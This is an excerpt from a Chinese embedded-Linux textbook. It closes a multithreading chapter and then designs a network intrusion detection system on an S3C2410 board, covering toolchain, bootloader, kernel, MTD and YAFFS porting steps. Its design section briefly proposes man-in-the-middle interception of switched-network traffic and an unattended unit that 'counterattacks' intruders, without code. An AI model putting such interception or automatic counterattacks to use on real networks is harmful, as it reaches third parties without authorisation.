在Linux平台下，当处理线程结束时需要注意的一个问题就是如何让一个线程终止时其所占资源得到正确释放。在Linux平台默认情况下，虽然各个线程之间是相互独立的，一个线程的终止不会去通知或影响其他的线程。但是已经终止的线程的资源并不会随着线程的终止而得到释放，需要调用函数pthread_join()来获得另一个线程的终止状态并且释放该线程所占的资源。

3.多线程程序的优点

多线程程序作为一种多任务、并发的工作方式，有以下优点：

·提高应用程序响应。这对图形界面的程序尤其有意义，当一个操作耗时很长时，整个系统都会等待这个操作，此时程序不会响应键盘、鼠标、菜单的操作，而使用多线程技术，将耗时长的操作置于一个新的线程，可以避免这种情况。

·使多CPU系统更加有效。操作系统会保证当线程数不大于CPU数目时，不同的线程运行于不同的CPU上。

·利于改善程序结构。一个既长又复杂的进程可以考虑分为多个线程，成为几个独立或半独立的运行部分，这样的程序会利于理解和修改。

4.Linux和Windows系统线程间的区别

在Win32中，“进程”是指一个程序，而“线程”是一个“进程”里的一个执行“线索”。从核心上讲，Win32的多进程与Linux并无多大的区别，在Win32里的线程相当于Linux的进程，是一个实际正在执行的代码。但是，Win32里同一个进程里各个线程之间是共享数据段的。这是与Linux的进程最大的不同之处。


17.9　思考与练习

一、概念题

1.进程和线程之间的区别是什么？

2.线程的属性有哪些，如何操作线程的属性？

3.线程有哪些类别？

4.如何在多线程程序中实现线程之间的同步？

5.出错处理相关函数有哪些，各自的用法怎样？

6.如何创建线程的私有数据？

二、操作题

编写一个多线程的程序，每个线程在执行时都修改它们的共享变量，观察共享变量的值看看有什么变化。


第四篇　综合实例


 第18章　嵌入式网络防御体系设计

本章要点：

系统需求分析

程序的调试及移植

系统软件设计


 18.1　嵌入式网络防御设计概述

无论是电信网络还是其他私用网络，其用途主要是数据的传输以及远程控制，所以它们所面临的最大威胁是数据的保密性和完整性问题。随着Internet的迅速发展，越来越多的网络安全问题也逐渐显现。因此开发出一套完整的网络入侵检测系统是十分有必要的。入侵检测模块可以认为是整个网络（局域网）的最后一道防线，在网络遭受威胁或被攻击后可以分析攻击行为，有效地保护系统免受同样的攻击。

对于上述所说系统的开发，开发者面临的第一个问题都是确定开发总体方案。对于不同的嵌入式系统开发者、不同的系统而言，设计方案都会存在或多或少的区别，但是总体的思路是大致相同的。下面给出一个设计方案供读者参考：

[1]详细了解控制对象，制定出控制器的输入/输出数量。

[2]制定输入与输出的逻辑控制关系。

[3]参考以前类似产品的设计资料。

[4]广泛查阅相关芯片的数据手册以及市场供应情况。

[5]完成芯片选型，采购芯片。

[6]绘制电路原理图。

[7]制作芯片封装图，绘制PCB图。

[8]找制版厂制作PCB电路板。

[9]进行程序编写。

[10]在开发板下进行调试，并对原理图、PCB图和源代码做相应的修改。

[11]进行第二次制板。

[12]再次调试。

[13]结束。


18.2　需求分析

作为一个基于嵌入式的入侵检测系统，无论是硬件方面的电路板体积、工作环境要求、数据吞吐量、成本，还是软件方面的功能实现、运行效率，都会受到限制。因此在进行软硬件开发之前要进行详细的需求分析。


 18.2.1　软件需求分析

由于该系统作为入侵检测模块要实现网络监控的功能，因此需要实现以下几个功能，程序框图如图18-1所示。
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图　18-1　软件程序框图

1.检测技术

考虑到嵌入式系统资源的有限性，入侵检测模块将采用滥用检测技术。所谓滥用检测是直接对入侵行为进行特征化描述，建立某种或某类入侵的特征行为模式库。如果发现当前行为与某个入侵模式一致，则表示发生了这种入侵。采用这种技术将降低判断入侵检测程序的复杂度，并且大大减少审计开销，系统只记录一些必要的日志信息，节省了有限的存储器空间。

2.人机交互

为降低硬件制作的成本，将不设计显示部分，而是通过串口与上位机进行通信。由于操作此系统的用户一般是网络管理人员，具有一定的网络计算机知识，因此不需要设计GUI。这么做不仅可以减少工作量，而且降低了嵌入式系统的系统开支。采用人机的交互应用命令行方式，通过不同的参数配置来实现用户所需要的功能。

3.事件产生器

事件产生器是指从环境中抽取感兴趣的信息，并把信息转化为标准格式供系统其他部件使用。该系统事件产生器需要完成的是获取局域网内的数据包，并将所获取的信息按照标准格式进行格式化。但是由于现在一般的局域网络分为两类：以太式局域网和交换式局域网。所以在设计事件产生器时，要兼顾两种工作环境。考虑到上述情况，事件产生器将采用基于以太网的混杂模式监听和基于交换式网络的中间人式监听。

4.事件数据库

事件数据库是用来保存需要记录的事件日志。该系统会通过系统调用来实现对电路板上SD卡的读/写操作。由于I/O的读/写操作需要占用很多系统时间，因此事件产生器和实践数据库会在两个不同的线程中完成，这也是嵌入式系统优于其他MCU芯片的方面。

5.事件分析器

事件分析器的作用是分析输入的格式化后的事件，进行真正意义上的入侵检测，并通知响应单元。该系统的分析方式将应用基于误用的匹配模式，及将已经格式化的数据和模板进行匹配。如果匹配成功将被判定为非法信息，并触发事件数据库和响应单元。

6.响应单元

响应单元的作用是按照警告进行相应的保护，记录或反击入侵行为。如本项目可能会长时间处于无人监管状态，所以根据不同的响应级别对入侵行为进行记录或者反击。


18.2.2　硬件需求分析

考虑局域网所需要的最大吞吐量以及成本，在硬件方面选用三星公司出品的S3C2410处理器和DAVICOM公司的10/100Mb/s自适应以太网芯片DM9000。

其中，S3C2410处理器是三星公司基于ARM公司的ARM920T处理器核，采用0.18um制造工艺的32位微控制器。该处理器拥有独立的16KB指令Cache和16KB数据Cache、MMU、支持TFT的LCD控制器、NAND闪存控制器、3路UART、4路DMA、4路带PWM的Timer、I/O口、RTC、8路10位ADC、Touch Screen接口、IIC-BUS接口、IIS-BUS接口、2个USB主机、1个USB设备、SD主机和MMC接口以及2路SPI。S3C2410处理器最高可运行在203MHz。

DM9000的特点是：支持8位、16位、32位数据总线宽度；寄存器操作简单有效，有成熟的Linux驱动程序支持；3.3V接口电平；成本相当低廉；还可以使用MII接口和PHY芯片连接。DM9000还提供了与介质无关的接口，来连接所有提供支持介质无关接口功能的家用电话线网络设备或其他收发器。DM9000物理协议层接口完全支持使用10Mb/s下3类、4类、5类非屏蔽双绞线和100Mb/s下5类非屏蔽双绞线。这完全符合IEEE 802.3u规格。它的自动协调功能将自动完成配置以最大限度地适合其线路带宽，还支持IEEE 802.3x全双工流量控制。


18.3　Linux操作系统移植

Linux操作系统的移植主要包括移植BootLoader、移植Linux内核、移植相应的驱动程序和构建文件系统。

使某个平台的代码运行在其他平台上的过程叫做移植。Linux操作系统是一种遵循GPL协议的开源系统，其内核可以进行剪裁，并且支持32位和64位的CPU，可以运行在ARM、PowerPC、M68k等多种硬件平台上。在Linux系统内核代码中有arch目录，其中包含了不同平台的代码，与体系结构相关的代码都放在"arch/＜architecture＞/"和"include/asm-＜architecture＞/"目录中，＜architecture＞是Linux支持的体系结构的简称。


 18.3.1　构建嵌入式Linux开发环境

实验中我们采用的是S3C2410的开发板，主机使用RedHat 9作为开发平台。首先建立交叉编译环境，完整安装好RedHat 9以后，就可以制作自己的交叉编译工具链了。

交叉编译通俗地讲就是在一种平台上编译出能运行在体系结构不同的另一种平台上的程序，比如在PC平台（x86 CPU）上编译出能运行在以ARM为内核的CPU平台上的程序，编译得到的程序在x86 CPU平台上是不能运行的，必须放到ARM CPU平台上才能运行，所以要生成在目标机上运行的程序，必须要用交叉编译工具链来完成。在裁剪和定制Linux内核用于嵌入式系统之前，由于一般嵌入式开发系统的资源有限，通常都要在PC上建立一个用于目标机的交叉编译工具链，用该交叉编译工具链在PC上编译目标机上要运行的程序。交叉编译工具链是一个由编译器、链接器和解释器组成的综合开发环境，交叉编译工具链主要由binutils、gcc和glibc 3个部分组成。有时出于减小libc库大小的考虑，也可以用别的C库来代替glibc，例如uClibc等。但是uClibc并没有包括glibc中所实现的所有接口，因此有些应用程序不能在uClibc中通过编译。

建立交叉编译工具链是一个相当复杂的过程，如果不想亲身经历复杂繁琐的编译过程，网上有一些编译好的可用的交叉编译工具链可以下载，但就以学习为目的来说读者有必要学习自己制作一个交叉编译工具链。下面就通过具体的实例讲述基于ARM的嵌入式Linux交叉编译工具链的制作过程。

首先下载crosstool-0.43.tar.gz，其官方网站是http://www.kegel.com/crosstool，它是一个方便的用来建立交叉编译工具链的工具。



wget http://kegel.com/crosstool/crosstool-0.43.tar.gz

tar-zxvf crosstool-0.43.tar.gz



解压缩后查看目录中的文件，其中包含很多的Shell脚本文件，编辑其中的demo-arm.sh文件，其中第7行制定编译过程中软件包的下载路径，第8行制定交叉编译工具链的安装路径（一定不要用root用户权限来制作交叉编译工具链，否则会失败。要确保在操作之前建立好RESULT_TOP路径，并且保证普通用户有写的权限）。取消第25行的注释（这里我们要建立一个gcc-3.3.6、glibc-2.3.2的交叉编译链）同时修改notest为gdb，还可以同时创建arm-linux-gdb的交叉调试工具。



1 #!/bin/sh

2 #This script has one line for each known working toolchain

3 #for this architecture.Uncomment the one you want.

4 #Generated by generate-demo.pl from buildlogs/all.dats.txt

5

6 set-ex

7 TARBALLS_DIR=$HOME/downloads

8 RESULT_TOP=/usr/local/crosstool

9 export TARBALLS_DIR RESULT_TOP

10 GCC_LANGUAGES="c,c++"

11 export GCC_LANGUAGES

12

13 #Really,you should do the mkdir before running this,

14 #and chown/opt/crosstool to yourself so you don't need to run as root.

15 mkdir-p$RESULT_TOP

16

17 #eval'cat arm.dat gcc-2.95.3-glibc-2.1.3.dat'sh all.sh--notest

18 #eval'cat arm.dat gcc-2.95.3-glibc-2.2.2.dat'sh all.sh--notest

19 #eval'cat arm.dat gcc-2.95.3-glibc-2.2.5.dat'sh all.sh--notest

20 #eval'cat arm.dat gcc-3.2.3-glibc-2.2.5.dat'sh all.sh--notest

21 #eval'cat arm.dat gcc-3.2.3-glibc-2.3.2.dat'sh all.sh--notest

22 #eval'cat arm.dat gcc-3.2.3-glibc-2.3.2-tls.dat'sh all.sh--notest

23 #eval'cat arm.dat gcc-3.3.6-glibc-2.2.2.dat'sh all.sh--notest

24 #eval'cat arm.dat gcc-3.3.6-glibc-2.2.5.dat'sh all.sh--notest

25 eval'cat arm.dat gcc-3.3.6-glibc-2.3.2.dat'sh all.sh--gdb

26 #eval'cat arm.dat gcc-3.3.6-glibc-2.3.2-tls.dat'sh all.sh--notest



修改arm.dat文件，将TARGET=arm-unknown-linux-gnu改为TARGET=arm-linux，保证编译出来的工具是常用的名字。



KERNELCONFIG='pwd'/arm.config

TARGET=arm-linux

TARGET_CFLAGS="-O"



最后一步，保证网络的畅通，以普通用户的权限来执行demo-arm.sh脚本文件。



./demo-arm.sh



它会自动从网络下载所需的软件包并且进行编译，整个编译过程大概需要1～2个小时。如果没出现意外情况，会在"/usr/local/crosstool"目录下生成一套交叉编译工具链。把制作好的交叉编译工具链添加到当前的环境变量中，只需要修改主目录下的.bashrc文件，在文件末尾添加export PATH=/usr/local/crosstool/gcc-3.3.6-glibc-2.3.2/bin:$PATH，并且重新读取到当前的环境变量中就可以了。



echo'export PATH=/usr/local/crosstool/gcc-3.3.6-glibc-2.3.2/bin:$PATH'＞＞.bashrc

source.bashrc



用下面的命令来测试一下：



arm-linux-gcc-v




18.3.2　BootLoader移植

简单地说，BootLoader就是在操作系统内核运行之前运行的一段小程序。通过这段小程序，我们可以初始化硬件设备、建立内存空间的映射图，从而将系统的软硬件环境带到一个合适的状态，以便为最终调用操作系统内核准备好正确的环境。

通常BootLoader是严重地依赖于硬件而实现的，特别是在嵌入式世界。因此，在嵌入式世界里建立一个通用的BootLoader几乎是不可能的。尽管如此，我们仍然可以对BootLoader归纳出一些通用的概念来，以指导用户特定的BootLoader设计与实现。

每种不同的CPU体系结构都有不同的BootLoader。有些BootLoader也支持多种体系结构的CPU，比如U-Boot就同时支持ARM体系结构和MIPS体系结构。除了依赖于CPU的体系结构外，BootLoader实际上也依赖于具体的嵌入式板级设备的配置。也就是说，对于两块不同的嵌入式板而言，即使它们是基于同一种CPU而构建的，要想让运行在一块板子上的BootLoader程序也能运行在另一块板子上，通常也都需要修改BootLoader的源程序。

通常多阶段的BootLoader能提供更为复杂的功能，以及更好的可移植性。从固态存储设备上启动的BootLoader大多都是2阶段的启动过程，也即启动过程可以分为stage 1和stage 2两部分。大多数BootLoader都包含两种不同的操作模式：“启动加载”模式和“下载”模式，这种区别仅对开发人员有意义。但从最终用户的角度看，BootLoader的作用就是用来加载操作系统，而并不存在所谓的“启动加载模式”与“下载”模式的区别。

“启动加载”（boot loading）模式：这种模式也称为“自主”（autonomous）模式。也即BootLoader从目标机上的某个固态存储设备上将操作系统加载到RAM中运行，整个过程并没有用户的介入。这种模式是BootLoader的正常工作模式，因此在嵌入式产品发布的时候，BootLoader显然必须工作在这种模式下。

“下载”（downloading）模式：在这种模式下，目标机上的BootLoader将通过串口连接或网络连接等通信手段从主机下载文件，比如下载内核映像和根文件系统映像等。从主机下载的文件通常首先被BootLoader保存到目标机的RAM中，然后再被BootLoader写到目标机上的Flash类固态存储设备中。BootLoader的这种模式通常在第一次安装内核与根文件系统时被使用；此外，以后的系统更新也会使用BootLoader的这种工作模式。工作于这种模式下的Boot-Loader通常都会向它的终端用户提供一个简单的命令行接口。

由于BootLoader的实现依赖CPU的体系结构，因此大多数BootLoader都分为stage 1和stage 2两大部分。依赖于CPU体系结构的代码，比如设备初始化代码等，通常都放在stage 1中，而且通常都用汇编语言来实现，以达到短小精悍的目的。而stage 2则通常用C语言来实现，这样可以实现较复杂的功能，而且代码会具有更好的可读性和可移植性。

BootLoader的stage 1通常包括以下步骤（按执行的先后顺序）：

[1]硬件设备初始化。

[2]为加载BootLoader的stage 2准备RAM空间。

[3]复制BootLoader的stage 2到RAM空间中。

[4]设置好堆栈。

[5]跳转到stage 2的C入口点。

BootLoader的stage 2通常包括以下步骤（按执行的先后顺序）：

[1]初始化本阶段要使用到的硬件设备。

[2]检测系统内存映射（memory map）。

[3]将kernel映像和根文件系统映像从Flash上读到RAM空间中。

[4]为内核设置启动参数。

[5]调用内核。

这是BootLoader一开始就执行的操作，其目的是为stage 2的执行以及随后的kernel的执行准备好一些基本的硬件环境。它通常包括以下步骤（按执行的先后顺序）：

[1]屏蔽所有的中断。为中断提供服务通常是OS设备驱动程序的责任，因此在BootLoader的执行全过程中可以不必响应任何中断。中断屏蔽可以通过写CPU的中断屏蔽寄存器或状态寄存器（比如ARM的CPSR寄存器）来完成。

[2]设置CPU的速度和时钟频率。

[3]初始化RAM。包括正确地设置系统的内存控制器的功能寄存器以及各内存库控制寄存器等。

[4]初始化LED。典型地，通过GPIO来驱动LED，其目的是表明系统的状态是OK还是Error。如果板子上没有LED，那么也可以通过初始化UART向串口打印BootLoader的Logo字符信息来完成这一点。

[5]关闭CPU内部指令/数据cache。

为了获得更快的执行速度，通常把stage 2加载到RAM空间来执行，因此必须为加载BootLoader的stage 2准备好一段可用的RAM空间范围。

由于stage 2通常是C语言执行代码，因此在考虑空间大小时，除了stage 2可执行映像的大小外，还必须把堆栈空间也考虑进来。此外，空间大小最好是memory page大小（通常是4KB）的倍数。一般而言，1MB的RAM空间已经足够了。具体的地址范围可以任意安排，比如blob就将它的stage 2可执行映像安排到从系统RAM起始地址0xc0200000开始的1MB空间内执行。但是，将stage 2安排到整个RAM空间的最顶1MB（也即从RamEnd-1MB到RamEnd）是一种值得推荐的方法。接下来复制stage 2到RAM中，设置堆栈指针sp，跳转到stage 2的C入口点。

stage 2的代码通常用C语言来实现，以便于实现更复杂的功能和取得更好的代码可读性和可移植性。但是与普通C语言应用程序不同的是，在编译和链接BootLoader这样的程序时，我们不能使用glibc库中的任何支持函数。其原因是显而易见的。这就给我们带来一个问题，那就是从哪里跳转进main()函数呢？直接把main()函数的起始地址作为整个stage 2执行映像的入口点或许是最直接的想法。但是这样做有两个缺点：①无法通过main()函数传递函数参数；②无法处理main()函数返回的情况。一种更为巧妙的方法是利用trampoline（弹簧床）的概念。也即，用汇编语言写一段trampoline小程序，并将这段trampoline小程序来作为stage 2可执行映像的执行入口点。然后我们可以在trampoline汇编小程序中用CPU跳转指令跳入main()函数中去执行；而当main()函数返回时，CPU执行路径显然再次回到我们的trampoline程序。简而言之，这种方法的思想就是：用这段trampoline小程序来作为main()函数的外部包裹（external wrapper）。包括初始化本阶段要使用到的硬件设备，检测系统的内存映射，加载内核映像和根文件系统映像，设置内核的启动参数，调用内核。

本设计中采用了韩国Mizi公司的vivi作为BootLoader。vivi有启动加载模式和下载模式两种工作模式。启动加载模式可以在一段时间后自行启动Linux内核，这是vivi的默认模式。在下载模式下，vivi为用户提供一个命令行接口，通过接口可以使用vivi提供的一些命令，如load（把二进制文件载入Flash或RAM）、part（显示、增加、删除、复位、保存MTD分区）、param（设置参数）、boot（启动系统）、flash（管理Flash）等。

将vivi解压缩到当前工作目录下，然后修改vivi/Makefile里的一些变量设置：

·LINUX_INCLUDE_DIR=/usr/local/arm/2.95.3/include

LINUX_INCLUDE_DIR为交叉编译器的头文件对应目录。

·CROSS_COMPILE=/usr/local/arm/2.95.3/bin/arm-linux-

CROSS_COMPILE为arm-linux安装的相应目录。这里我们采用的是arm-linux-gcc-2.95.3的交叉编译器来编译vivi，用高版本编译器编译会出错。把交叉编译器解压缩到/usr/local/arm目录下，交叉编译器可以从网上下载。

·ARM_GCC_LIBS=/usr/local/arm/2.95.3/lib/gcc-lib/arm-linux/2.95.3

进入vivi目录执行make distclean。然后输入"make menuconfig"，开始选择配置。保存配置后再输入"make"正式开始编译。最后会在目录下面生成"vivi"，这就是后面要烧写到Flash中的BootLoader。


18.3.3　将Linux内核移植到S3C2410

Linux内核主要由进程调度、内存管理、虚拟文件系统、网络接口、进程间通信共5个子系统组成。Linux启动过程如下：引导阶段通常使用汇编语言来编写，它首先检查内核是否支持当前架构的处理器和开发板，然后为调用下一阶段的start_kernel做准备。Linux非压缩内核的入口位于文件"/arch/arm/kernel/head-armv.S"中的stext段。该段的基地址就是压缩内核解压后的跳转地址。如果系统中加载的内核是非压缩的image，那么BootLoader将内核从Flash中复制到RAM后将直接跳到该地址处，从而启动Linux内核。

不同体系结构的Linux系统的入口文件是不同的，而且因为该文件与具体体系结构有关，所以一般均用汇编语言编写。对基于ARM处理的Linux系统来说，该文件就是head-armv.S。该程序通过查找处理器内核类型和处理器类型调用相应的初始化函数，再建立页表，最后跳转到start_kernel()函数开始内核的初始化工作。这里主要分如下几个步骤：首先连接内核是用的虚拟地址，要设置页表初始化MMU，然后调用C函数start_kernel之前的常规工作，包括复制数据段，清除BBS段，调用start_kernel函数。第二阶段主要用C语言来实现，它进行内核的初始化工作，最后调用rest_init()函数来启动init进程。

这里我们选用linux-2.6.18的内核来开发，并按照如下方法来配置内核。

1.修改Makefile文件

什么是Makefile文件？make在执行时，需要一个命名为Makefile的文件。这个文件告诉make以何种方式编译源代码和链接程序。典型地，可执行文件可由一些.o文件按照一定的顺序生成或者更新。如果在工程中已经存在一个或者多个正确的Makefile。当对工程中的若干源文件修改以后，需要根据修改来更新可执行文件或者库文件，正如前面提到的你只需要在shell下执行"make"。make会自动根据修改情况完成源文件的对应.o文件的更新、库文件的更新、最终的可执行程序的更新。make通过比较对应文件（规则的目标和依赖）的最后修改时间，来决定哪些文件需要更新、哪些文件不需要更新。对需要更新的文件make就执行数据库中所记录的相应命令（在make读取Makefile以后会建立一个编译过程的描述数据库。此数据库记录了所有文件之间的相互关系，以及它们的关系描述）来重建它，对于不需要重建的文件make什么也不做。而且可以通过make的命令行选项来指定需要重新编译的文件。

修改内核根目录下的Makefile文件，这个文件中需修改的内容包括以下两个方面。

1）指定目标平台：

修改前　ARCH ?=&(SUBARCH)

修改后　ARCH?=arm

2）指定交叉编译器：

修改前　CROSS_COMPILE?=

修改后　CROSS_COMPILE?=arm-linux-

2.生成内核配置文件.config

config是配置内核的时候生成的所需要的文件，所有Makefile文件都是根据它来决定使用哪些文件的。我们采用的S3C2410的开发板，默认的Linux 2.6的内核可以支持。通过如下方法就可以生成.config文件。



make s3c2410_defconfig



3.手动配置内核

下面需要手动调整一下内核的配置参数，执行make menuconfig，将会生成一个菜单用于配置内核参数，里面有非常多的选项。我们可以根据默认配置来进行修改和调整参数，其中包括DM9000的网卡驱动：



Device Drivers--＞

Network device support--＞

[*]Network device supportEthernet(10 or 100 Mbit)--＞

＜*＞DM9000 support



最后保存一下配置退出即可。

4.生成内核映像文件

最后一步执行make命令，它会自动帮我们生成内核映像文件。生成的内核映像文件会放在"arch/arm/boot/"目录下面。连接串口，将生成的内核映像文件烧写到开发板中并且启动开发板，串口将会输出相应的启动信息，最后看到"kernel panic-not syncing：vfs：una-ble to mount root fs on unknown-block（2，0）"信息，表明我们的内核基本移植成功，但还没有建立文件系统。

这里需要注意的是，内核默认的MTD分区并不一定适合我们，我们可以修改"arch/arm/plat-s3c24xx/common-smdk.c"来重新定义MTD分区。主要是修改smdk_default_nand_part这个结构体变量。这样在重新编译内核并启动开发板就会输出内核的MTD分区信息了。

5.修改MTD分区

MTD（Memory Technology Device，内存技术设备）是用于访问memory设备（ROM、Flash）的Linux的子系统。MTD在整个嵌入式开发中的层次如图18-2所示。MTD的主要目的是为了使新的memory设备的驱动更加简单，为此它在硬件和上层之间提供了一个抽象的接口。为了尽可能避免针对不同的技术使用不同的工具，以及为不同的技术提供共同的能力，Linux内核纳入了MTD子系统。它提供了一致且统一的接口，让底层的MTD芯片驱动程序无缝地与较高层接口组合在一起。
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图　18-2　嵌入式系统层次框图

JFFS2、YAFFS等文件系统都可以被安装成MTD块设备。MTD驱动也可以为那些支持CFI接口的NOR型Flash提供支持。虽然MTD可以建立在RAM上，但它是专为基于Flash的设备而设计的。MTD包含特定Flash芯片的驱动程序，开发者要选择适合自己系统的Flash芯片驱动。Flash芯片驱动向上层提供读、写、擦除等基本的操作，MTD对这些操作进行封装后向用户层提供MTD char和MTD block类型的设备。

MTD char类型的设备包括/dev/mtd0、/dev/mtdl等，它们提供对Flash原始字符的访问。MTD block类型的设备包括/dev/mtdblock0、/dev/mtdblock1等，MTD block设备是将Flash模拟成块设备，这样可以在这些模拟的块设备上创建像Cramfs、JFFS2等格式的文件系统。

MTD驱动层也支持在一块Flash上建立多个Flash分区，每一个分区作为一个MTD block设备，可以把系统软件和数据等分配到不同的分区上，同时可以在不同的分区采用不同的文件系统格式。这一点非常重要，正是由于这一点才为嵌入式系统多文件系统的建立提供了灵活性。

下面，我们来修改MTD分区信息。

[1]修改内核MTD分区修改"arch/arm/plat-s3c24xx/common-smdk.c"如下：



static struct MTD_partition smdk_default_nand_part[]={

[0]={

.name="vivi",

.size=SZ_512K,

.offset=0,

},

[1]={

.name="kernel",

.offset=MTDPART_OFS_APPEND,

.size=SZ_2M,

},

[2]={

.name="yaffs",

.offset=MTDPART_OFS_APPEND,

.size=MTDPART_SIZ_FULL,

}

}



其中，MTDPART_OFS_APPEND表示当前分区紧挨着上一个分区，MTDPART_SIZ_FULL表示当前分区大小为剩余的空间。

[2]配置内核时选中MTD支持



Memory Technology Devices(MTD)--＞

＜*＞Memory Technology Device(MTD)support

[*]MTD Partitioning support

……

[*]S3C2410 NAND driver debug




18.3.4　移植YAFFS文件系统

移植适用于嵌入式系统的Linux文件系统，必然会涉及两个关键点，一是文件系统类型的选择，它关系到文件系统的读写性能、尺寸大小；另一个是根文件系统内容的选择，它关系到根文件系统所能提供的功能及尺寸大小。

1.常见的嵌入式文件系统介绍

（1）Romfs

传统型的Romfs文件系统是最常使用的一种文件系统，它是一种简单的、紧凑的、只读的文件系统，不支持动态擦写保存；它按顺序存放所有的文件数据，所以这种文件系统格式支持应用程序以XIP方式运行，在系统运行时，可以获得可观的RAM节省空间。uCIinux系统通常采用Romfs文件系统。

（2）Cramfs

Cramfs是Linux的创始人Linus Torvalds开发的一种可压缩只读文件系统。在Cramfs文件系统中，每一页被单独压缩，可以随机访问，其压缩比高达2:1，为嵌入式系统节省大量的Flash存储空间。Cramfs文件系统以压缩方式存储，在运行时解压缩，所以不支持应用程序以XIP方式运行，所有的应用程序要求被复制到RAM里去运行，但这并不代表比Ramfs需求的RAM空间要大一点，因为Cramfs是采用分页压缩的方式存放档案，在读取档案时，不会一下子就耗用过多的内存空间，只针对目前实际读取的部分分配内存，尚没有读取的部分不分配内存空间，当我们读取的档案不在内存时，Cramfs文件系统自动计算压缩后的资料所存的位置，再即时解压缩到RAM中。

（3）Ramfs/Tmpfs

Ramfs也是Linus Torvalds开发的，Ramfs文件系统把所有的文件都放在RAM里运行，通常是Flash系统用来存储一些临时性或经常要修改的数据，相对于ramdisk来说，Ramfs的大小可以随着所含文件内容的大小变化，不像ramdisk的大小是固定的。Tmpfs是基于内存的文件系统，因为Tmpfs驻留在RAM中，所以写/读操作发生在RAM中。Tmpfs文件系统的大小可随所含文件内容的大小变化，使得能够最理想地使用内存；Tmpfs驻留在RAM，所以读和写几乎都是瞬时的。Tmpfs的一个缺点是当系统重新引导时会丢失所有数据。

（4）JFFS2

JFFS2是RedHat公司基于JFFS开发的闪存文件系统，最初是针对RedHat公司的嵌入式产品eCos开发的嵌入式文件系统，所以JFFS2也可以用在Linux,uCLinux中。JFFS文件系统最早是由瑞典Axis Communications公司基于Linux 2.0的内核为嵌入式系统开发的文件系统。JFFS2是一个可读写的、压缩的、日志型文件系统，并提供了崩溃/断电安全保护，克服了JFFS的一些缺点：使用了基于哈希表的日志节点结构，大大加快了对节点的操作速度；支持数据压缩；提供了“写平衡”支持；支持多种节点类型；提高了对闪存的利用率，降低了内存的消耗。这些特点使JFFS2文件系统成为目前Flash设备上最流行的文件系统格式，它的缺点就是当文件系统已满或接近满时，JFFS2运行会变慢，这主要是因为碎片收集的问题。

（5）YAFFS

YAFFS/YAFFS2是一种和JFFS2类似的闪存文件系统，它是专为嵌入式系统使用NAND型闪存而设计的一种日志型文件系统。和JFFS2相比，YAFFS减少了一些功能，所以速度更快，而且对内存的占用比较小。此外，YAFFS自带NAND芯片的驱动，并且为嵌入式系统提供了直接访问文件系统的API，用户可以不使用Linux中的MTD与VFS，直接对文件系统操作。YAFFS2支持大页面的NAND设备，并且对大页面的NAND设备做了优化。JFFS2在NAND闪存上表现并不稳定，更适合于NOR闪存，所以相对大容量的NAND闪存，YAFFS是更好的选择。

在具体的嵌入式系统设计中可根据不同目录存放的内容不同以及存放的文件属性，确定使用何种文件系统。近年来日志文件系统在嵌入式系统上得到了较多的应用，其中以支持NOR Flash的JFFS2文件系统和支持NAND Flash的YAFFS最为流行。这些系统都支持断电文件保护，同时支持标准的MTD驱动。本系统采用的就是YAFFS文件系统。

YAFFS文件系统已经发展到第二版，即YAFFS2，它兼容YAFFS1，支持每页容量大于512个字节的NAND Flash，其性能相比于YAFFS1有很大的提高。

YAFFS1与YAFFS2对比如表18-1所示。
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2.YAFFS文件系统的移植

[1]首先，获取YAFFS2的源代码。从http://www.aleph1.co.uk/cgi-bin/viewcvs.cgi/yaffs2/下载并且解压缩，YAFFS2目录下有一个脚本文件可以用来给内核打补丁。其中，/c这个参数用来将YAFFS2的代码复制到内核的相应目录下，path是内核源代码的路径。



./patch-ker.sh/c path



[2]其次，配置内核时选中YAFFS2支持：



File systems--＞

Miscellaneous filesystems--＞

＜*＞YAFFS2 file system support



[3]最后，重新编译内核并将编译好的内核映像文件下载到开发板中即可。


18.3.5　构建Linux根文件系统

文件系统是一种用于向用户提供底层数据访问的机制。它将设备中的空间划分为特定大小的块（扇区），一般每块512大小为字节。数据存储在这些块中，大小被修正为占用整数个块。由文件系统软件来负责将这些块组织为文件和目录，并记录哪些块被分配给了哪个文件，以及哪些块没有被使用。不过，文件系统并不一定只在特定存储设备上出现。它是数据的组织者和提供者，至于它的底层，可以是磁盘，也可以是其他动态生成数据的设备（比如网络设备）。

1.Linux文件系统层次标准介绍

Linux的开发人员很多，如果每个人都使用自己的目录配置方法，那么可能会带来很多管理问题。所以，后来就有所谓的文件系统层次标准（Filesystem Hierarchy Standard,FHS）出台。它定义了文件系统中的目录、文件分类存放的原则，定义了系统运行所需的最小文件、目录的集合。下面分别介绍一下各个目录的作用。

1）/bin　基础系统所需要的那些命令位于此目录，也是最小系统所需要的命令；比如ls、cp、mkdir等命令；功能和/usr/bin类似，这个目录中的文件都是可执行的，普通用户都可以使用的命令。

2）/boot　Linux的内核及引导系统程序所需要的文件，比如vmlinuzinitrd.img文件都位于这个目录。在一般情况下，GRUB或LILO系统引导管理器也位于这个目录。

3）/dev　设备文件存储目录，比如声卡、磁盘等。

4）/etc　系统配置文件的所在地，一些服务器的配置文件也在这里，比如用户账号及密码配置文件。

5）/home　普通用户的默认存放目录。

6）/lib　库文件存放目录。

7）/lost+found　在ext2或ext3文件系统中，当系统意外崩溃或机器意外关机时，产生一些文件碎片放在这里。在系统启动的过程中fsck工具会检查这里，并修复已经损坏的文件系统。有时系统发生问题，有很多文件被移到这个目录中，可能需用手工的方式来修复，或将文件移到原来的位置上。

8）/media　即插即用型存储设备的挂载点自动在这个目录下创建，比如USB盘系统自动挂载后，会在这个目录下产生一个目录；CD/DVD自动挂载后，也会在这个目录中创建一个目录，类似cdrom的目录。这个只有在最新的发行套件上才有，比如Fedora等。可以参看/etc/fstab的定义。

9）/mnt　这个目录一般是用于存放挂载储存设备的挂载目录的，比如有cdrom等目录，可以参看/etc/fstab的定义。有时我们可以让系统开机自动挂载文件系统，把挂载点放在这里也是可以的，主要看/etc/fstab中怎么定义了，比如光驱可以挂载到/mnt/cdrom。

10）/proc　操作系统运行时，进程（正在运行中的程序）信息及内核信息（比如cpu、硬盘分区、内存信息等）存放在这里。

11）/root　Linux超级权限用户root的家目录。

12）/sbin　大多是涉及系统管理的命令的存放，是超级权限用户root的可执行命令的存放目录，普通用户无权限执行这个目录下的命令，这个目录和/usr/sbin或/usr/local/sbin目录是相似的。

13）/tmp　临时文件目录，有时用户运行程序的时候，会产生临时文件。/tmp就是用来存放临时文件的。/var/tmp目录和这个目录相似。

